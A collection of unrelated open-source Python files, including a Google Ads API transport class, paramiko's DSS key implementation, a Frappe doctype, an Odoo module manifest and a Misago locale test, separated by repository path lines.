#### NOTICE: THIS FILE IS AUTOGENERATED #### MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY #### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES from swgpy.object import * def create(kernel): result = Tangible() result.template = "object/tangible/deed/naboo/player_house_deed/shared_naboo_house_large_deed.iff" result.attribute_template_id = 2 result.stfName("deed","naboo_house_large_deed") #### BEGIN MODIFICATIONS #### #### END MODIFICATIONS #### return result
googleapis/googleapis-gen
refs/heads/master
google/ads/googleads/v8/googleads-py/google/ads/googleads/v8/services/services/payments_account_service/transports/base.py
1
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import abc import typing import pkg_resources import google.auth # type: ignore from google.api_core import gapic_v1 # type: ignore from google.api_core import retry as retries # type: ignore from google.auth import credentials as ga_credentials # type: ignore from google.ads.googleads.v8.services.types import payments_account_service try: DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo( gapic_version=pkg_resources.get_distribution( 'google-ads-googleads', ).version, ) except pkg_resources.DistributionNotFound: DEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo() class PaymentsAccountServiceTransport(metaclass=abc.ABCMeta): """Abstract transport class for PaymentsAccountService.""" AUTH_SCOPES = ( 'https://www.googleapis.com/auth/adwords', ) def __init__( self, *, host: str = 'googleads.googleapis.com', credentials: ga_credentials.Credentials = None, client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO, ) -> None: """Instantiate the transport. Args: host (Optional[str]): The hostname to connect to. credentials (Optional[google.auth.credentials.Credentials]): The authorization credentials to attach to requests. These credentials identify the application to the service; if none are specified, the client will attempt to ascertain the credentials from the environment. client_info (google.api_core.gapic_v1.client_info.ClientInfo): The client info used to send a user-agent string along with API requests. If ``None``, then default info will be used. Generally, you only need to set this if you're developing your own client library. """ # Save the hostname. Default to port 443 (HTTPS) if none is specified. if ':' not in host: host += ':443' self._host = host # If no credentials are provided, then determine the appropriate # defaults. if credentials is None: credentials, _ = google.auth.default(scopes=self.AUTH_SCOPES) # Save the credentials. self._credentials = credentials # Lifted into its own function so it can be stubbed out during tests. self._prep_wrapped_messages(client_info) def _prep_wrapped_messages(self, client_info): # Precomputed wrapped methods self._wrapped_methods = { self.list_payments_accounts: gapic_v1.method.wrap_method( self.list_payments_accounts, default_timeout=None, client_info=client_info, ), } @property def list_payments_accounts(self) -> typing.Callable[ [payments_account_service.ListPaymentsAccountsRequest], payments_account_service.ListPaymentsAccountsResponse]: raise NotImplementedError __all__ = ( 'PaymentsAccountServiceTransport', )
manassolanki/frappe
refs/heads/develop
frappe/website/doctype/help_category/help_category.py
22
# Copyright (c) 2013, Frappe and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe.website.website_generator import WebsiteGenerator from frappe.website.doctype.help_article.help_article import clear_cache class HelpCategory(WebsiteGenerator): website = frappe._dict( condition_field = "published", page_title_field = "category_name" ) def before_insert(self): self.published=1 def autoname(self): self.name = self.category_name def validate(self): self.set_route() def set_route(self): if not self.route: self.route = 'kb/' + self.scrub(self.category_name) def on_update(self): clear_cache()
Tomsod/gemrb
refs/heads/master
gemrb/GUIScripts/demo/LoadScreen.py
6
def StartLoadScreen(): pass def SetLoadScreen(): pass
geminy/aidear
refs/heads/master
oss/qt/qt-everywhere-opensource-src-5.9.0/qtwebengine/src/3rdparty/chromium/tools/grit/grit/lazy_re.py
63
#!/usr/bin/env python # Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. '''In GRIT, we used to compile a lot of regular expressions at parse time. Since many of them never get used, we use lazy_re to compile them on demand the first time they are used, thus speeding up startup time in some cases. ''' import re class LazyRegexObject(object): '''This object creates a RegexObject with the arguments passed in its constructor, the first time any attribute except the several on the class itself is accessed. This accomplishes lazy compilation of the regular expression while maintaining a nearly-identical interface. ''' def __init__(self, *args, **kwargs): self._stash_args = args self._stash_kwargs = kwargs self._lazy_re = None def _LazyInit(self): if not self._lazy_re: self._lazy_re = re.compile(*self._stash_args, **self._stash_kwargs) def __getattribute__(self, name): if name in ('_LazyInit', '_lazy_re', '_stash_args', '_stash_kwargs'): return object.__getattribute__(self, name) else: self._LazyInit() return getattr(self._lazy_re, name) def compile(*args, **kwargs): '''Creates a LazyRegexObject that, when invoked on, will compile a re.RegexObject (via re.compile) with the same arguments passed to this function, and delegate almost all of its methods to it. ''' return LazyRegexObject(*args, **kwargs)
elmerdpadilla/iv
refs/heads/8.0
addons/auth_openid/__openerp__.py
313
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2010-2012 OpenERP s.a. (<http://openerp.com>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## { 'name': 'OpenID Authentification', 'version': '2.0', 'category': 'Tools', 'description': """ Allow users to login through OpenID. ==================================== """, 'author': 'OpenERP s.a.', 'maintainer': 'OpenERP s.a.', 'website': 'https://www.odoo.com', 'depends': ['base', 'web'], 'data': [ 'res_users.xml', 'views/auth_openid.xml', ], 'qweb': ['static/src/xml/auth_openid.xml'], 'external_dependencies': { 'python' : ['openid'], }, 'installable': True, 'auto_install': False, } # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
beni55/picochess
refs/heads/master
libs/paramiko/dsskey.py
11
# Copyright (C) 2003-2007 Robey Pointer <robeypointer@gmail.com> # # This file is part of paramiko. # # Paramiko is free software; you can redistribute it and/or modify it under the # terms of the GNU Lesser General Public License as published by the Free # Software Foundation; either version 2.1 of the License, or (at your option) # any later version. # # Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR # A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # details. # # You should have received a copy of the GNU Lesser General Public License # along with Paramiko; if not, write to the Free Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. """ DSS keys. """ import os from hashlib import sha1 from Crypto.PublicKey import DSA from paramiko import util from paramiko.common import zero_byte from paramiko.py3compat import long from paramiko.ssh_exception import SSHException from paramiko.message import Message from paramiko.ber import BER, BERException from paramiko.pkey import PKey class DSSKey (PKey): """ Representation of a DSS key which can be used to sign an verify SSH2 data. """ def __init__(self, msg=None, data=None, filename=None, password=None, vals=None, file_obj=None): self.p = None self.q = None self.g = None self.y = None self.x = None if file_obj is not None: self._from_private_key(file_obj, password) return if filename is not None: self._from_private_key_file(filename, password) return if (msg is None) and (data is not None): msg = Message(data) if vals is not None: self.p, self.q, self.g, self.y = vals else: if msg is None: raise SSHException('Key object may not be empty') if msg.get_text() != 'ssh-dss': raise SSHException('Invalid key') self.p = msg.get_mpint() self.q = msg.get_mpint() self.g = msg.get_mpint() self.y = msg.get_mpint() self.size = util.bit_length(self.p) def asbytes(self): m = Message() m.add_string('ssh-dss') m.add_mpint(self.p) m.add_mpint(self.q) m.add_mpint(self.g) m.add_mpint(self.y) return m.asbytes() def __str__(self): return self.asbytes() def __hash__(self): h = hash(self.get_name()) h = h * 37 + hash(self.p) h = h * 37 + hash(self.q) h = h * 37 + hash(self.g) h = h * 37 + hash(self.y) # h might be a long by now... return hash(h) def get_name(self): return 'ssh-dss' def get_bits(self): return self.size def can_sign(self): return self.x is not None def sign_ssh_data(self, data): digest = sha1(data).digest() dss = DSA.construct((long(self.y), long(self.g), long(self.p), long(self.q), long(self.x))) # generate a suitable k qsize = len(util.deflate_long(self.q, 0)) while True: k = util.inflate_long(os.urandom(qsize), 1) if (k > 2) and (k < self.q): break r, s = dss.sign(util.inflate_long(digest, 1), k) m = Message() m.add_string('ssh-dss') # apparently, in rare cases, r or s may be shorter than 20 bytes! rstr = util.deflate_long(r, 0) sstr = util.deflate_long(s, 0) if len(rstr) < 20: rstr = zero_byte * (20 - len(rstr)) + rstr if len(sstr) < 20: sstr = zero_byte * (20 - len(sstr)) + sstr m.add_string(rstr + sstr) return m def verify_ssh_sig(self, data, msg): if len(msg.asbytes()) == 40: # spies.com bug: signature has no header sig = msg.asbytes() else: kind = msg.get_text() if kind != 'ssh-dss': return 0 sig = msg.get_binary() # pull out (r, s) which are NOT encoded as mpints sigR = util.inflate_long(sig[:20], 1) sigS = util.inflate_long(sig[20:], 1) sigM = util.inflate_long(sha1(data).digest(), 1) dss = DSA.construct((long(self.y), long(self.g), long(self.p), long(self.q))) return dss.verify(sigM, (sigR, sigS)) def _encode_key(self): if self.x is None: raise SSHException('Not enough key information') keylist = [0, self.p, self.q, self.g, self.y, self.x] try: b = BER() b.encode(keylist) except BERException: raise SSHException('Unable to create ber encoding of key') return b.asbytes() def write_private_key_file(self, filename, password=None): self._write_private_key_file('DSA', filename, self._encode_key(), password) def write_private_key(self, file_obj, password=None): self._write_private_key('DSA', file_obj, self._encode_key(), password) def generate(bits=1024, progress_func=None): """ Generate a new private DSS key. This factory function can be used to generate a new host key or authentication key. :param int bits: number of bits the generated key should be. :param function progress_func: an optional function to call at key points in key generation (used by ``pyCrypto.PublicKey``). :return: new `.DSSKey` private key """ dsa = DSA.generate(bits, os.urandom, progress_func) key = DSSKey(vals=(dsa.p, dsa.q, dsa.g, dsa.y)) key.x = dsa.x return key generate = staticmethod(generate) ### internals... def _from_private_key_file(self, filename, password): data = self._read_private_key_file('DSA', filename, password) self._decode_key(data) def _from_private_key(self, file_obj, password): data = self._read_private_key('DSA', file_obj, password) self._decode_key(data) def _decode_key(self, data): # private key file contains: # DSAPrivateKey = { version = 0, p, q, g, y, x } try: keylist = BER(data).decode() except BERException as e: raise SSHException('Unable to parse key file: ' + str(e)) if (type(keylist) is not list) or (len(keylist) < 6) or (keylist[0] != 0): raise SSHException('not a valid DSA private key file (bad ber encoding)') self.p = keylist[1] self.q = keylist[2] self.g = keylist[3] self.y = keylist[4] self.x = keylist[5] self.size = util.bit_length(self.p)
Carmezim/tensorflow
refs/heads/master
tensorflow/contrib/solvers/python/__init__.py
959
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """ops module.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function
390910131/Misago
refs/heads/master
misago/core/tests/test_momentjs.py
8
from django.conf import settings from django.test import TestCase from misago.core.momentjs import list_available_locales, get_locale_path class MomentJSTests(TestCase): def test_list_available_locales(self): """list_available_locales returns list of locales""" TEST_CASES = ( 'af', 'ar-sa', 'de', 'et', 'pl', 'ru', 'pt-br', 'zh-tw' ) locales = list_available_locales().keys() for language in TEST_CASES: self.assertIn(language, locales) def test_get_locale_path(self): """get_locale_path returns path to locale or null if it doesnt exist""" EXISTING_LOCALES = ( 'af', 'ar-sa', 'ar-sasa', 'de', 'et', 'pl', 'pl-pl', 'ru', 'pt-br', 'zh-tw' ) for language in EXISTING_LOCALES: self.assertIsNotNone(get_locale_path(language)) NONEXISTING_LOCALES = ( 'ga', 'en', 'en-us', 'martian', ) for language in NONEXISTING_LOCALES: self.assertIsNone(get_locale_path(language))